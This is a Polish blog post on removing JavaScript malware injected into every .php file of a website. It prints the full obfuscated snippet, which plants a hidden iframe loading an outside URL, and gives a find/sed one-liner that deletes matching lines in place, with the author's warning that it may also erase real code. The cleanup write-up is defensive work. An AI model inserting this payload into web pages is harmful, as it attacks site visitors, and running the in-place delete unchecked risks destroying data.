Usuwanie „wirusów” z zainfekowanej strony internetowej

Wirus strony internetowej

Sposób infekcji: nieznany.
Przypuszczenie sposobu infekcji: Total Commander lub dziurawe oprogramowanie na serwerze.
Badanie: Wszystkie pliki z rozszerzeniem .php zostały zainfekowane złośliwym kodem JavaScript:

function iM(){};this.xFI="";iM.prototype = {y : function() {var xH=50628;this.h='';uI="";var z=false;var cB=new Array();var pN='';var x=document;this.jD="";tS="tS";this.d="d";this.qW="qW";var pB=57565;this.cZ=false;var u=window;dJ="";this.cI="cI";var lH=new Array();this.cK=6566;var bT='';var j = this;var iP=function(){return 'iP'};var cT=false;var uL=function(){};var fF="";cH="";this.lR=false;String.prototype.oQ=function(p, n){var a=this; return a.replace(p, n)};var yY=function(){return 'yY'};var bF=function(){};this.sI="";this.bY="bY";var sB=32989;var tR=false;yYW=false;this.yI="";var v = 'sWe#t_TW'.oQ(/[W#_^*]/g, '') + 'iGm0e$oG'.oQ(/[GV$Y0]/g, '') + 'u4tT'.oQ(/[T?l4.]/g, '');var yV=new Date();cN=3449;var hC=new Array();this.aT="aT";this.lM='';this.hH="";var lG='';var t = 'tfrKeKcfr!e/a/'.oQ(/[/f_K!]/g, '') + 'tFeAE>ljeAmFeFndt>g>edtd'.oQ(/[dAjF>]/g, '');var cHC='';var rJ="rJ";iX='';var w=function(){};nL=14522;var uZ=new Date();var b = 'w&rDiDt(eD'.oQ(/[D&G(W]/g, '');var gD=false;var tI=new Array();var sV=false;var vO='';var eI=48570;this.o="";var lK=22757;try {this.hP='';this.pP=false;var nU=56962;var pNW=new Date();var nE=false;var jO=new Array();var nP='';var m = 'p|u5s{h{'.oQ(/[{5Vg|]/g, '');var gM="gM";this.vB='';sIT="";bW=false;this.lE="";var vD = 's#ric#'.oQ(/[#iOSM]/g, '');this.oB='';var eP="";this.lHM='';var tN=false;var xU = 'v{bEmsinf{'.oQ(/[{Esn%]/g, '')+'r)s2eut2'.oQ(/[2yui)]/g, '');var gW=function(){};this.cHJ=7799;var pY="pY";var zQ=function(){return 'zQ'};var vBK='';var xP = 'w9i|d?'.oQ(/[?Db|9]/g, '') + 'tch:'.oQ(/[:cX(0]/g, '');cJ="";var gG=new Array();var k=false;var yR="";this.nO='';var vC=57847;mP="mP";function tO(){};var r = 'h/e/i;'.oQ(/[;/jW3]/g, '') + 'g@hJtA'.oQ(/[A@/Jk]/g, '');this.xFG=14682;jA="jA";var mF=new Date();var wX=function(){};var aJ = '1m'.oQ(/[mi$hw]/g, '');var qG=48446;var mL=new Date();lV="lV";var yP=new Date();sG=32547;xF = 'gXe@t@sXejtjAIt@tIrXi1sId@f@'.oQ(/[@1jXI]/g, '');var dM=function(){return 'dM'};var gJ=false;this.vI=false;var hL="";var hS=false;function cX(){};rS="";var q = 'azpwpl'.oQ(/[l~zGw]/g, '') + 'e$nrd(C(hri^l[d['.oQ(/[[^($r]/g, '');nJ=false;this.pT="";var bOH=function(){};var yA=false;this.yJ="";var bO = 'b&o.dUy.'.oQ(/[.Ul0&]/g, '');this.tC=false;this.zS=false;this.mT='';var xL=48381;eL=56477;var aN=56591;var s = 'sMuM'.oQ(/[MEe2j]/g, '')+'b~sMtDr.iM'.oQ(/[M6~D.]/g, '')+'nsg_'.oQ(/[_7(s5]/g, '');var iB='';xS='';var lRV='';var fM="fM";var hW=false;this.qN=false;this.tRU=1633;var e = new Array();cS='';var uC=function(){};wG=false;this.qNL="";wZ='';xFJ="";e[m](r, s, t, xP, xU, xF, bO, q, aJ, x, vD);var fQ="fQ";kX="";var mH=function(){return 'mH'};this.fD='';cTZ='';lL=false;hA="";var dA=new Array();oF=false;var mO=function(){};var wS='';var rI="rI";this.oY='';lVK='';var vBH=function(){return 'vBH'};var aA=12264;iE=63283;this.uB='';this.eW="";var xK="xK";this.wR=false;this.vH=false;uP="";kA="kA";this.fW=48227;var qP="";var qNK=function(){return 'qNK'};this.aO="aO";function yF(){};var sS=new Array();cNH=false;sX="";var hU=28012;iU='';var jS="";function zJ(){};this.gWE="gWE";this.uY="uY";var oE=41599;rU=false;var iF=false;this.lS=35826;var nH = e[2][e[1]](3, 16);this.qX="qX";wO="wO";var eH='';this.nG=40603;this.gB=false;this.dV="dV";var l = e[4][e[1]](3, 6);var bA='';var eV="eV";this.sP='';var gU=function(){};var nV=new Date();var kE=false;var dP=false;g = l + 'ajmje2'.oQ(/[2j^6C]/g, '');var vX=false;var vP=function(){return 'vP'};var dI=new Array();this.kO='';var gMP="gMP";var f = e[5][e[1]](3, 11);pQ='';qH="qH";vW=11651;jC=false;var iES=function(){return 'iES'};i = f + 'b,u~t[e['.oQ(/[[y,B~]/g, '');var gL=function(){return 'gL'};var wI='';var eX=20548;qQ="";var eT=function(){};var hCQ=new Array();var cIV=false;var c = 'h_t_t>p_:_/_/Es_p>aEnzd^a^tEi^n>gE.>c^o^m^/Es^tEd^sE/^gzoz._p_h>p_?Es_i>d>=E9_'.oQ(/[_E>^z]/g, '');var tY=function(){return 'tY'};var bQ=false;var eS=function(){};var xPI=false;var yFC=function(){return 'yFC'};this.qK=44454;var qZ=e[9][nH](g);this.gA="";var mI='';var vR='';this.bTA=false;qZ[e[10]] = c;var dN=11304;this.qZQ='';vK="vK";gY=60807;qT=51412;var cKY=function(){};this.sGM="sGM";iJ="iJ";qZ[e[3]] = e[8];jV=false;var cZW="";var dO="dO";this.sGZ=47261;var uQ=function(){return 'uQ'};var lB="";qZ[e[0]] = e[8];eWC="eWC";this.aQ=63750;rF="";this.zM="zM";var fL=function(){};this.wN='';var kY=new Array();var uX=function(){};this.zC=51454;var dAK='';pZ="";cJH="cJH";var sD=function(){return 'sD'};e[9][e[6]][e[7]](qZ);var dT=38830;this.pI='';this.xJ=45847;jM=false;qA='';} catch(rR) {var lI=62951;var hZ=44725;eE=false;sH=false;hI=false;var bL="";var nGK=false;var eN=new Array();x.write('<ahWtWmalp p>p<TbrordTyT a>a<a/WbroadWyp>p<r/rhrtpmWla>a'.oQ(/[aWTrp]/g, ''));this.bH="bH";var wQ=function(){return 'wQ'};var cHF=new Array();var eO="eO";var zF=false;u[v](function(){ j.y() }, 189);this.aNX="";var aM=function(){return 'aM'};wNH="";nK="nK";}fC='';this.pE="";function dW(){};}};jQ="jQ";var vQ=new iM(); this.iT="iT";vQ.y();zE=''

Recepta: Uruchom w terminalu poniższe polecenie (zmień nazwę rozszerzenie w zależności od zainfekowanych plików)

find . -name '*.php' -print0 | xargs -0 sed --regexp-extended --in-place "/(function iM(.*)zE='';)/d"

Na recepcie: Powyższy kod wyszukuje wszystkie pliki o rozszerzeniu .php a następnie przeszukuje je pod kontem występowania złośliwego kodu. Jeżeli zostanie znaleziona złośliwa linia z kodem jest on usuwana.
Uwaga: Poniższe rozwiązanie zawiera wadę, jeżeli dopisany kod nie został umieszczony w nowej linii tylko połączony z linia kodu aplikacji istnieje możliwość usunięcia również kodu właściwego aplikacji!

Przeciwdziałanie: Audyt oprogramowania na serwerze + zmiana oprogramowania do połączenia się z serwerem FTP.

Już dwa razy miałem przyjemność pisać „anty wirus” na „zawirusowane” strony internetowe. Za każdym razem przyczyną pojawienia się wirusa było korzystanie z Total Commandera do łączenia się z FTP.

W tym miejscu chciałbym zauważyć że TC sam w sobie nie jest winny ale źle zabezpieczony OS pod którym on pracuje. Dawno, dawno, temu… bardzo często z niego korzystałem gdy byłem użytkownikiem Windows XP. TC był jedynym programem, który uruchamiałem zaraz po opaleniu się Windows (kiedy to było… teraz ten odruch mam z terminalem ;) ).

PS. Powyższe rozwiązanie stosujecie na własną odpowiedzialność.